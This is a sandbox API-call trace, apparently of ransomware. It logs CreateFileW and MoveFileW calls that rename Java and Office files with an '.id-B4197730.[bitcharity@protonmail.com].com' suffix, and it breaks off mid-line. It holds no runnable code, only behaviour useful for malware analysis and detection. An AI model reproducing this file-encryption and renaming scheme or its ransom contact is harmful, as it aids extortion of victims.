[0247.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0247.312] lstrlenW (lpString=".doc") returned 4 [0247.314] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0247.314] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0247.314] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.314] CloseHandle (hObject=0x11ec) returned 1 [0247.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0247.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0247.315] lstrlenW (lpString=".doc") returned 4 [0247.315] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0247.315] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0247.315] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.315] CloseHandle (hObject=0x11ec) returned 1 [0247.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0247.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0247.316] lstrlenW (lpString=".doc") returned 4 [0247.317] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0247.317] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0247.317] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.317] CloseHandle (hObject=0x11ec) returned 1 [0247.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0247.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0247.318] lstrlenW (lpString=".doc") returned 4 [0247.318] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0247.319] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0247.319] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.319] CloseHandle (hObject=0x11ec) returned 1 [0247.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0247.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0247.319] lstrlenW (lpString=".doc") returned 4 [0247.320] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0247.320] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0247.320] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.320] CloseHandle (hObject=0x11ec) returned 1 [0247.320] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0247.320] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0247.320] lstrlenW (lpString=".doc") returned 4 [0247.321] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0247.321] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0247.321] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.321] CloseHandle (hObject=0x11ec) returned 1 [0247.322] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0247.322] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0247.322] lstrlenW (lpString=".doc") returned 4 [0247.322] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0247.323] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0247.323] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.323] CloseHandle (hObject=0x11ec) returned 1 [0247.323] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0247.323] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0247.323] lstrlenW (lpString=".doc") returned 4 [0247.348] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0247.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0247.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69 [0247.349] lstrlenW (lpString=".doc") returned 4 [0247.349] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0247.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0247.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69 [0247.349] lstrlenW (lpString=".doc") returned 4 [0248.609] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0248.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0248.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0248.609] lstrlenW (lpString=".doc") returned 4 [0248.615] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.615] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.615] CloseHandle (hObject=0x126c) returned 1 [0248.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0248.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0248.615] lstrlenW (lpString=".doc") returned 4 [0248.616] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.616] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.617] CloseHandle (hObject=0x126c) returned 1 [0248.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0248.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0248.617] lstrlenW (lpString=".doc") returned 4 [0248.618] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.618] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.618] CloseHandle (hObject=0x126c) returned 1 [0248.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0248.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 68 [0248.618] lstrlenW (lpString=".doc") returned 4 [0248.620] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.620] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.621] CloseHandle (hObject=0x126c) returned 1 [0248.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0248.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0248.621] lstrlenW (lpString=".doc") returned 4 [0248.623] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.623] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.624] CloseHandle (hObject=0x126c) returned 1 [0248.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0248.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0248.624] lstrlenW (lpString=".doc") returned 4 [0248.624] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.624] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.625] CloseHandle (hObject=0x126c) returned 1 [0248.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0248.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0248.627] lstrlenW (lpString=".doc") returned 4 [0248.628] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.628] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.628] CloseHandle (hObject=0x126c) returned 1 [0248.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0248.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0248.629] lstrlenW (lpString=".doc") returned 4 [0248.629] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.630] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.630] CloseHandle (hObject=0x126c) returned 1 [0248.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0248.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0248.630] lstrlenW (lpString=".doc") returned 4 [0248.631] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.631] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.631] CloseHandle (hObject=0x126c) returned 1 [0248.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0248.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0248.632] lstrlenW (lpString=".doc") returned 4 [0248.633] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.633] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.633] CloseHandle (hObject=0x126c) returned 1 [0248.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0248.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0248.633] lstrlenW (lpString=".doc") returned 4 [0248.634] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.634] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.635] CloseHandle (hObject=0x126c) returned 1 [0248.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0248.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0248.635] lstrlenW (lpString=".doc") returned 4 [0248.636] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.636] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.636] CloseHandle (hObject=0x126c) returned 1 [0248.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0248.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0248.637] lstrlenW (lpString=".doc") returned 4 [0248.638] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.638] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.639] CloseHandle (hObject=0x126c) returned 1 [0248.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0248.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0248.639] lstrlenW (lpString=".doc") returned 4 [0248.640] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.640] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.640] CloseHandle (hObject=0x126c) returned 1 [0248.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0248.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0248.641] lstrlenW (lpString=".doc") returned 4 [0248.750] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.750] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0248.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.750] CloseHandle (hObject=0x1254) returned 1 [0248.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0248.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0248.751] lstrlenW (lpString=".doc") returned 4 [0249.874] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0249.874] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0249.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 